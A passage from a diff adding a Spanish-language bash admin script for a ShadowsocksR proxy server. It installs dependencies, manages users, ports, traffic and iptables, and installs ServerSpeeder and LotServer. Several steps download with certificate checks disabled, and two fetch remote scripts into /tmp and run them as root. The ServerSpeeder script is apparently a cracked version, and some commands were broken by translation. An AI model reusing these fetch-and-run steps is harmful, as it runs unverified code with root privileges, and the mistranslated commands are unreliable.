"x86_64" ]]; then + # mv "jq-linux64" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} + else + # mv "jq-linux32" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file} + fi + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1 + chmod +x ${jq_file} + echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." + else + echo -e "${Info} JQ parser esta instalado, continuar ..." + fi +} +#Instalacion +Installation_dependency(){ + if [[ ${release} == "centos" ]]; then + Centos_yum + else + Debian_apt + fi + [[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1 + Check_python + #echo "nameserver 8.8.8.8" > /etc/resolv.conf + #echo "nameserver 8.8.4.4" >> /etc/resolv.conf + cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + if [[ ${release} == "centos" ]]; then + /etc/init.d/crond restart + else + /etc/init.d/cron restart + fi +} +Install_SSR(){ +clear + check_root + msg -bar + [[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1 + echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..." +msg -bar + Set_user_api_server_pub_addr + Set_config_all + echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..." + Installation_dependency + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..." + Download_SSR + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..." + Service_SSR + echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..." + JQ_install + echo -e "${Info} Comience a agregar usuario inicial ..." + Add_port_user "install" + echo -e "${Info} Empezar a configurar el firewall de iptables ..." + Set_iptables + echo -e "${Info} Comience a agregar reglas de firewall de iptables ..." + Add_iptables + echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..." + Save_iptables + echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..." + Start_SSR + Get_User_info "${ssr_port}" + View_User_info + +} +Update_SSR(){ + SSR_installation_status + # echo -e "Debido a que el beb roto actualiza el servidor ShadowsocksR, entonces." + cd ${ssr_folder} + git pull + Restart_SSR + +} +Uninstall_SSR(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1 + echo "Desinstalar ShadowsocksR [y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && unyn="n" + if [[ ${unyn} == [Yy] ]]; then + check_pid + [[ ! -z "${PID}" ]] && kill -9 ${PID} + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + if [[ ! -z ${user_info} ]]; then + for((integer = 1; integer <= ${user_total}; integer++)) + do + port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + Del_iptables + done + fi + if [[ ${release} = "centos" ]]; then + chkconfig --del ssrmu + else + update-rc.d -f ssrmu remove + fi + rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu + echo && echo " Desinstalacion de ShadowsocksR completada!" && echo + else + echo && echo "Desinstalar cancelado ..." && echo + fi + +} +Check_Libsodium_ver(){ + echo -e "${Info} Descargando la ultima version de libsodium" + #Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/') + Libsodiumr_ver=1.0.17 + [[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup} + echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !" +} +Install_Libsodium(){ + if [[ -e ${Libsodiumr_file} ]]; then + echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]" + stty erase '^H' && read -p "(Default: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Nn] ]]; then + echo -e "Cancelado...\n$(msg -bar)" && exit 1 + fi + else + echo -e "${Info} libsodium no instalado, instalacion iniciada ..." + fi + Check_Libsodium_ver + if [[ ${release} == "centos" ]]; then + yum -y actualizacion + echo -e "${Info} La instalacion depende de ..." + yum -y groupinstall "Herramientas de desarrollo" + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf + else + apt-get update + echo -e "${Info} La instalacion depende de ..." + apt-get install -y build-essential + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + fi + ldconfig + cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver} + [[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1 + echo && echo -e "${Info} libsodium exito de instalacion!" && echo +msg -bar +} +#Mostrar informacin de conexin +debian_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n" + echo -e "${user_list_all}" +msg -bar +} +centos_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + echo -e "${user_list_all}" +} +View_user_connection_info(){ +clear + SSR_installation_status + msg -bar + echo -e "Seleccione el formato para mostrar : +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP + + ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info +msg -bar + [[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1" + if [[ ${ssr_connection_info} == "1" ]]; then + View_user_connection_info_1 "" + elif [[ ${ssr_connection_info} == "2" ]]; then + echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs" +msg -bar + View_user_connection_info_1 "IP_address" + else + echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1 + fi +} +View_user_connection_info_1(){ + format=$1 + if [[ ${release} = "centos" ]]; then + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + debian_View_user_connection_info "$format" + else + centos_View_user_connection_info "$format" + fi + else + debian_View_user_connection_info "$format" + fi +} +get_IP_address(){ + #echo "user_IP_1=${user_IP_1}" + if [[ ! -z ${user_IP_1} ]]; then + #echo "user_IP_total=${user_IP_total}" + for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)) + do + IP=`echo "${user_IP_1}" |sed -n "$integer_1"p` + #echo "IP=${IP}" + IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'` + #echo "IP_address=${IP_address}" + user_IP="${user_IP}\n${IP}(${IP_address})" + #echo "user_IP=${user_IP}" + sleep 1s + done + fi +} +#Modificar la configuracin del usuario +Modify_port(){ +msg -bar + List_port_user + while true + do + echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port + [[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',') + if [[ ! -z ${Modify_user} ]]; then + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Modify_Config(){ +clear + SSR_installation_status + echo && echo -e " ###¿Que desea realizar?###Mod By @Kalix1 +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Agregar y Configurar Usuario + ${Green_font_prefix}2.${Font_color_suffix} Eliminar la Configuracion del Usuario +————————— Modificar la Configuracion del Usuario ———— + ${Green_font_prefix}3.${Font_color_suffix} Modificar contrasena de Usuario + ${Green_font_prefix}4.${Font_color_suffix} Modificar el metodo de Cifrado + ${Green_font_prefix}5.${Font_color_suffix} Modificar el Protocolo + ${Green_font_prefix}6.${Font_color_suffix} Modificar Ofuscacion + ${Green_font_prefix}7.${Font_color_suffix} Modificar el Limite de Dispositivos + ${Green_font_prefix}8.${Font_color_suffix} Modificar el Limite de Velocidad de un solo Hilo + ${Green_font_prefix}9.${Font_color_suffix} Modificar limite de Velocidad Total del Usuario + ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario + ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario + ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa +————————— Otras Configuraciones ————————— + ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario +$(msg -bar) + ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Add_port_user + elif [[ ${ssr_modify} == "2" ]]; then + Del_port_user + elif [[ ${ssr_modify} == "3" ]]; then + Modify_port + Set_config_password + Modify_config_password + elif [[ ${ssr_modify} == "4" ]]; then + Modify_port + Set_config_method + Modify_config_method + elif [[ ${ssr_modify} == "5" ]]; then + Modify_port + Set_config_protocol + Modify_config_protocol + elif [[ ${ssr_modify} == "6" ]]; then + Modify_port + Set_config_obfs + Modify_config_obfs + elif [[ ${ssr_modify} == "7" ]]; then + Modify_port + Set_config_protocol_param + Modify_config_protocol_param + elif [[ ${ssr_modify} == "8" ]]; then + Modify_port + Set_config_speed_limit_per_con + Modify_config_speed_limit_per_con + elif [[ ${ssr_modify} == "9" ]]; then + Modify_port + Set_config_speed_limit_per_user + Modify_config_speed_limit_per_user + elif [[ ${ssr_modify} == "10" ]]; then + Modify_port + Set_config_transfer + Modify_config_transfer + elif [[ ${ssr_modify} == "11" ]]; then + Modify_port + Set_config_forbid + Modify_config_forbid + elif [[ ${ssr_modify} == "12" ]]; then + Modify_port + Set_config_all "Modify" + Modify_config_all + elif [[ ${ssr_modify} == "13" ]]; then + Set_user_api_server_pub_addr "Modify" + Modify_user_api_server_pub_addr + else + echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1 + fi + +} +List_port_user(){ + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1 + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g') + Get_User_transfer "${user_port}" + + user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n " + done + echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------" + echo -e ${user_list_all} +} +Add_port_user(){ +clear + lalal=$1 + if [[ "$lalal" == "install" ]]; then + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + else + while true + do + Set_config_all + match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$") + [[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1 + match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]") + [[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1 + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + if [[ -z "${match_add}" ]]; then + echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} " + break + else + Add_iptables + Save_iptables + msg -bar + echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} " + echo + stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn + [[ -z ${addyn} ]] && addyn="y" + if [[ ${addyn} == [Nn] ]]; then + Get_User_info "${ssr_port}" + View_User_info + break + else + echo -e "${Info} Continuar agregando configuracion de usuario ..." + fi + fi + done + fi +} +Del_port_user(){ + + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para ser eliminado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port + msg -bar + [[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + del_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${del_user_port}"',') + if [[ ! -z ${del_user} ]]; then + port=${del_user_port} + match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "delete user ") + if [[ -z "${match_del}" ]]; then + echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + else + Del_iptables + Save_iptables + echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done + msg -bar +} +Manually_Modify_Config(){ +clear +msg -bar + SSR_installation_status + nano ${config_user_mudb_file} + echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z ${yn} ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + Restart_SSR + fi + +} +Clear_transfer(){ +clear +msg -bar + SSR_installation_status + echo -e "Que quieres realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Borrar el trafico de un solo usuario + ${Green_font_prefix}2.${Font_color_suffix} Borrar todo el trafico de usuarios (irreparable) + ${Green_font_prefix}3.${Font_color_suffix} Todo el trafico de usuarios se borra en el inicio + ${Green_font_prefix}4.${Font_color_suffix} Deja de cronometrar todo el trafico de usuarios + ${Green_font_prefix}5.${Font_color_suffix} Modificar la sincronizacion de todo el trafico de usuarios" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Clear_transfer_one + elif [[ ${ssr_modify} == "2" ]]; then +msg -bar + echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Yy] ]]; then + Clear_transfer_all + else + echo "Cancelar ..." + fi + elif [[ ${ssr_modify} == "3" ]]; then + check_crontab + Set_crontab + Clear_transfer_all_cron_start + elif [[ ${ssr_modify} == "4" ]]; then + check_crontab + Clear_transfer_all_cron_stop + elif [[ ${ssr_modify} == "5" ]]; then + check_crontab + Clear_transfer_all_cron_modify + else + echo -e "${Error} Por favor numero de (1-5)" && exit 1 + fi + +} +Clear_transfer_one(){ + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port + [[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${Clear_transfer_user_port}"',') + if [[ ! -z ${Clear_transfer_user} ]]; then + match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +} +Clear_transfer_all(){ +clear + cd "${ssr_folder}" + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + fi + done + echo -e "${Info} Se borra todo el trafico de usuarios!" +} +Clear_transfer_all_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1 + else + echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!" + fi +} +Clear_transfer_all_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1 + else + echo -e "${Info} Timing All Clear Stop Stop Successful!!" + fi +} +Clear_transfer_all_cron_modify(){ + Set_crontab + Clear_transfer_all_cron_stop + Clear_transfer_all_cron_start +} +Set_crontab(){ +clear + + echo -e "Por favor ingrese el intervalo de tiempo de flujo + === Formato === + * * * * * Mes * * * * * + ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1 2} representa el 15 2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado +$(msg -bar) + ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado" +msg -bar + stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time + [[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *" +} +Start_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1 + /etc/init.d/ssrmu start + +} +Stop_SSR(){ +clear + SSR_installation_status + check_pid + [[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1 + /etc/init.d/ssrmu stop + +} +Restart_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop + /etc/init.d/ssrmu start + +} +View_Log(){ + SSR_installation_status + [[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1 + echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo + tail -f ${ssr_log_file} + +} +#Afilado +Configure_Server_Speeder(){ +clear +msg -bar + echo && echo -e "Que vas a hacer +${BARRA1} + ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda +———————— + ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Estado agudo + $(msg -bar) + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num + [[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${server_speeder_num} == "1" ]]; then + Install_ServerSpeeder + elif [[ ${server_speeder_num} == "2" ]]; then + Server_Speeder_installation_status + Uninstall_ServerSpeeder + elif [[ ${server_speeder_num} == "3" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} start + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "4" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} stop + elif [[ ${server_speeder_num} == "5" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} restart + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "6" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_ServerSpeeder(){ + [[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1 + #Prestamo de la version feliz de 91yun.rog + wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh + [[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1 + bash /tmp/serverspeeder.sh + sleep 2s + PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + rm -rf /tmp/serverspeeder.sh + rm -rf /tmp/91yunserverspeeder + rm -rf /tmp/91yunserverspeeder.tar.gz + echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1 + fi +} +Uninstall_ServerSpeeder(){ +clear +msg -bar + echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + chattr -i /serverspeeder/etc/apx* + /serverspeeder/bin/serverSpeeder.sh uninstall -f + echo && echo "Server Speeder Desinstalacion completa!" && echo + fi +} +# LotServer +Configure_LotServer(){ +clear +msg -bar + echo && echo -e "Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer +———————— + ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer +${BARRA1} + + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + + stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num + [[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${lotserver_num} == "1" ]]; then + Install_LotServer + elif [[ ${lotserver_num} == "2" ]]; then + LotServer_installation_status + Uninstall_LotServer + elif [[ ${lotserver_num} == "3" ]]; then + LotServer_installation_status + ${LotServer_file} start + ${LotServer_file} status + elif [[ ${lotserver_num} == "4" ]]; then + LotServer_installation_status + ${LotServer_file} stop + elif [[ ${lotserver_num} == "5" ]]; then + LotServer_installation_status + ${LotServer_file} restart + ${LotServer_file} status + elif [[ ${lotserver_num} == "6" ]]; then + LotServer_installation_status + ${LotServer_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_LotServer(){ + [[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1 + #Github: https://github.com/0oVicero0/serverSpeeder_Install + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" + [[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1 + bash /tmp/appex.sh 'install' + sleep 2s + PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1 + fi +} +Uninstall_LotServer(){ +clear +msg -bar + echo "Desinstalar Para desinstalar LotServer[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + wget --no-check-certificate -qO /tmp/appex.sh 